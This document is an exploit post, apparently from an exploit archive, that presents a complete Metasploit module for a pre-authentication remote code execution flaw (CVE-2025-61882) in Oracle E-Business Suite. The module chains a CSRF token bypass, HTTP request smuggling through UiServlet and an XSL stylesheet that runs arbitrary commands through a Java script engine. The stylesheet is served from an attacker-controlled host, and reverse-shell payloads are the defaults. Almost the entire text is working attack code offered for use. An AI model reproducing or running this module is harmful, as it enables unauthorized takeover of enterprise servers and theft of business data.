Share
## https://sploitus.com/exploit?id=PACKETSTORM:225410
==================================================================================================================================
| # Title : Oracle E-Business Suite 12.2.14 Pre-Auth RCE Metasploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://www.oracle.com/applications/ebusiness/ |
==================================================================================================================================
[+] Summary : pre-authentication remote code execution vulnerability in Oracle E-Business Suite (CVE-2025-61882).
It targets components within the OA_HTML interface,combining multiple attack techniques such as CSRF token bypass,
HTTP request smuggling through UiServlet, and XSL transformation abuse with JavaScript engine injection.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Oracle E-Business Suite Pre-Auth RCE (CVE-2025-61882)',
'Description' => %q{
This module exploits CVE-2025-61882, a pre-authentication remote code execution
vulnerability in Oracle E-Business Suite versions 12.2.3 through 12.2.14.
The vulnerability exists in the OA_HTML help component and allows unauthenticated
attackers to execute arbitrary commands through a combination of:
1. CSRF token bypass
2. HTTP request smuggling via the UiServlet
3. XSL transformation with JavaScript engine injection
This module provides both command execution and a full interactive shell
through various payload delivery methods.
Tested successfully on Oracle EBS 12.2.8 on Linux and Windows platforms.
},
'Author' => ['indoushka'],
'References' => [
['CVE', '2025-61882'],
['URL', 'https://www.oracle.com/security-alerts/cpujan2025.html'],
['URL', 'https://github.com/advisories/CVE-2025-61882'],
['URL', 'https://attackerkb.com/topics/cve-2025-61882']
],
'DisclosureDate' => '2025-01-21',
'License' => MSF_LICENSE,
'Platform' => ['linux', 'win', 'unix', 'java'],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD, ARCH_JAVA],
'Targets' => [
[
'Linux (x86/x64)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
[
'Windows (x86/x64)',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }
}
],
[
'Java (Cross-platform)',
{
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'DefaultOptions' => { 'PAYLOAD' => 'java/meterpreter/reverse_tcp' }
}
],
[
'Command (Unix/Linux)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
[
'Command (Windows)',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' }
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS, CONFIG_CHANGES ]
}
)
)
register_options([
Opt::RPORT(8000),
OptString.new('TARGETURI', [ true, 'Base path for Oracle EBS', '/' ]),
OptString.new('LHOST', [ true, 'Listener IP address for callback (HTTP server)' ]),
OptString.new('LPORT', [ true, 'Listener port for callback (HTTP server)', '8080' ]),
OptInt.new('HTTP_TIMEOUT', [ true, 'HTTP request timeout in seconds', 10 ]),
OptEnum.new('COMMAND_MODE', [
true, 'Command execution mode', 'DIRECT',
['DIRECT', 'CMD_STAGER', 'FILE_UPLOAD']
]),
OptBool.new('USE_SSL', [ false, 'Use SSL for Oracle EBS connection', false ])
])
register_advanced_options([
OptInt.new('CSRF_RETRIES', [ true, 'Number of retries for CSRF token retrieval', 3 ]),
OptInt.new('XSLT_PORT', [ false, 'Port for XSLT payload server (default: same as LPORT)', nil ]),
OptString.new('XSLT_HOST', [ false, 'Host for XSLT payload server (default: same as LHOST)', nil ])
])
end
def check
print_status("Checking #{peer} for Oracle EBS fingerprint...")
fingerprints = [
{ path: '/OA_HTML/AppsLogin', pattern: /Oracle|E-Business|EBS|AppsLogin/i },
{ path: '/OA_HTML/jsp/fnd/AskUs.jsp', pattern: /Oracle|EBS/i },
{ path: '/OA_JAVA/oracle/apps/fnd/common/ClasspathServlet', pattern: /Classpath/i }
]
fingerprint_found = false
version_info = nil
fingerprints.each do |fp|
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, fp[:path]),
'timeout' => datastore['HTTP_TIMEOUT']
})
if res && res.body && res.body.match(fp[:pattern])
fingerprint_found = true
print_good("Found Oracle EBS indicator at #{fp[:path]}")
if res.body.match(/Version (\d+\.\d+\.\d+\.\d+)/i)
version_info = Regexp.last_match(1)
elsif res.body.match(/E-Business Suite (\d+\.\d+\.\d+)/i)
version_info = Regexp.last_match(1)
end
break
end
rescue ::Rex::ConnectionRefused, ::Rex::ConnectionTimeout
end
end
unless fingerprint_found
return Exploit::CheckCode::Safe('Target does not appear to be Oracle EBS')
end
csrf_token = get_csrf_token
if csrf_token && csrf_token.length > 0
return Exploit::CheckCode::Appears("Oracle EBS detected with version #{version_info || 'unknown'}")
else
return Exploit::CheckCode::Detected("Oracle EBS detected but CSRF probe failed")
end
end
def get_csrf_token
retries = datastore['CSRF_RETRIES']
retries.times do |attempt|
print_status("Attempting to retrieve CSRF token (attempt #{attempt + 1}/#{retries})...")
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'runforms.jsp'),
'timeout' => datastore['HTTP_TIMEOUT']
})
if res && res.headers['Set-Cookie']
cookies = res.headers['Set-Cookie']
vprint_status("Received #{cookies.split(',').length} cookies")
end
rescue => e
vprint_error("Error retrieving initial page: #{e.message}")
end
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'JavaScriptServlet'),
'headers' => {
'CSRF-XHR' => 'YES',
'FETCH-CSRF-TOKEN' => '1'
},
'timeout' => datastore['HTTP_TIMEOUT']
})
if res && res.body && res.body.include?(':')
token = res.body.split(':')[1]
if token && token.length > 0
print_good("CSRF token retrieved: #{token[0..15]}...")
return token
else
print_error("Empty CSRF token received")
end
else
print_error("Invalid CSRF response: #{res&.code || 'No response'}")
end
rescue => e
print_error("Error retrieving CSRF token: #{e.message}")
end
sleep(1) unless attempt == retries - 1
end
nil
end
def generate_xsl_payload(command)
if target.name =~ /Windows/
cmd_prefix = ['cmd', '/c']
else
cmd_prefix = ['sh', '-c']
end
js_code = <<~JS
var stringc = java.lang.Class.forName('java.lang.String');
var cmds = java.lang.reflect.Array.newInstance(stringc, 3);
java.lang.reflect.Array.set(cmds, 0, '#{cmd_prefix[0]}');
java.lang.reflect.Array.set(cmds, 1, '#{cmd_prefix[1]}');
java.lang.reflect.Array.set(cmds, 2, '#{command.gsub("'", "\\'")}');
var runtime = java.lang.Runtime.getRuntime();
var process = runtime.exec(cmds);
var reader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));
var line;
var output = [];
while ((line = reader.readLine()) !== null) {
output.push(line);
}
var errorReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getErrorStream()));
while ((line = errorReader.readLine()) !== null) {
output.push('[ERROR] ' + line);
}
var result = output.join('\\n');
result || 'Command executed successfully';
JS
js_encoded = Rex::Text.encode_base64(js_code)
xslt_template = <<~XSLT
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder"
xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager"
xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine"
xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String">
<xsl:template match="/">
<xsl:variable name="bs" select="b64:decodeBuffer(b64:new(), '#{js_encoded}')"/>
<xsl:variable name="js" select="str:new($bs)"/>
<xsl:variable name="m" select="jsm:new()"/>
<xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/>
<xsl:variable name="code" select="eng:eval($e, $js)"/>
<xsl:value-of select="$code"/>
</xsl:template>
</xsl:stylesheet>
XSLT
xslt_template
end
def build_smuggle_payload(path, method = 'POST')
smuggled_request = "#{method} #{path} HTTP/1.1\r\n"
smuggled_request << "Host: #{datastore['LHOST']}:#{datastore['LPORT']}\r\n"
smuggled_request << "User-Agent: #{Rex::Text.rand_text_alpha(8)}/#{rand(5..10)}.#{rand(0..9)}\r\n"
smuggled_request << "Connection: keep-alive\r\n"
smuggled_request << "Cookie: #{@session_cookies}\r\n" if @session_cookies
smuggled_request << "\r\n"
smuggled_request.chars.map { |c| "&#" + c.ord.to_s + ";" }.join
end
def build_ui_initialization_xml(smuggled_payload)
xml = <<~XML
<?xml version="1.0" encoding="UTF-8"?>
<initialize>
<param name="init_was_saved">test</param>
<param name="return_url">http://#{datastore['LHOST']}:#{datastore['LPORT']}#{smuggled_payload}</param>
<param name="ui_def_id">0</param>
<param name="config_effective_usage_id">0</param>
<param name="ui_type">Applet</param>
</initialize>
XML
xml
end
def trigger_exploit(xsl_payload)
csrf_token = get_csrf_token
unless csrf_token
fail_with(Failure::NoAccess, 'Failed to retrieve CSRF token')
end
xslt_host = datastore['XSLT_HOST'] || datastore['LHOST']
xslt_port = datastore['XSLT_PORT'] || datastore['LPORT']
xsl_url = "http://#{xslt_host}:#{xslt_port}/payload.xsl"
smuggled_payload = build_smuggle_payload(xsl_url, 'GET')
xml_payload = build_ui_initialization_xml(smuggled_payload)
print_status("Sending exploit to #{peer}/OA_HTML/configurator/UiServlet")
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'configurator', 'UiServlet'),
'vars_post' => {
'redirectFromJsp' => '1',
'getUiType' => xml_payload
},
'timeout' => datastore['HTTP_TIMEOUT']
})
if res && res.code == 200
print_good("Exploit request accepted by target")
return true
else
print_error("Unexpected response: #{res&.code || 'No response'}")
return false
end
rescue ::Errno::ECONNRESET, ::Rex::ConnectionRefused
print_warning("Connection reset - target may be processing exploit")
return true
rescue => e
print_error("Error sending exploit: #{e.message}")
return false
end
end
def start_xsl_server
xslt_host = datastore['XSLT_HOST'] || datastore['LHOST']
xslt_port = (datastore['XSLT_PORT'] || datastore['LPORT']).to_i
print_status("Starting XSL payload server on #{xslt_host}:#{xslt_port}")
@xsl_server_thread = nil
@xsl_payload_served = false
require 'webrick'
begin
server = WEBrick::HTTPServer.new(
Port: xslt_port,
BindAddress: xslt_host,
Logger: WEBrick::Log.new('/dev/null'),
AccessLog: []
)
server.mount_proc('/payload.xsl') do |req, res|
print_good("Received request for XSL payload from #{req.remote_ip}")
res.status = 200
res['Content-Type'] = 'application/xml'
res.body = @xsl_payload
@xsl_payload_served = true
end
@xsl_server_thread = Thread.new do
server.start
end
server
rescue => e
fail_with(Failure::BadConfig, "Failed to start XSL server: #{e.message}")
end
end
def execute_command(cmd, _opts = {})
print_status("Executing command: #{cmd}")
@xsl_payload = generate_xsl_payload(cmd)
unless @xsl_server_thread && @xsl_server_thread.alive?
@xsl_server = start_xsl_server
end
success = trigger_exploit(@xsl_payload)
wait_time = 0
while !@xsl_payload_served && wait_time < 30
sleep(1)
wait_time += 1
end
if success
print_good("Command execution triggered successfully")
else
print_error("Command execution may have failed")
end
end
def exploit
unless check == Exploit::CheckCode::Appears
print_error("Target does not appear to be vulnerable or accessible")
print_error("Use 'set ForceExploit true' to override")
return unless datastore['ForceExploit']
end
case datastore['COMMAND_MODE']
when 'DIRECT'
print_status("Direct command execution mode")
cmd = payload.encoded
if payload.is_a?(Msf::Payload::Command)
execute_command(cmd)
else
print_status("Using cmdstager for binary payload")
execute_cmdstager
end
when 'CMD_STAGER'
print_status("Using cmdstager payload delivery")
execute_cmdstager
when 'FILE_UPLOAD'
print_status("File upload mode - not implemented yet")
fail_with(Failure::NoTarget, 'File upload mode requires additional development')
end
print_status("Exploit completed. Waiting for callback...")
print_status("Press Ctrl+C to stop")
begin
sleep(1) while @xsl_server_thread&.alive?
rescue Interrupt
print_status("Shutting down XSL server...")
@xsl_server.shutdown if @xsl_server
end
end
def cleanup
super
if @xsl_server
print_status("Shutting down XSL server...")
@xsl_server.shutdown if @xsl_server.respond_to?(:shutdown)
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================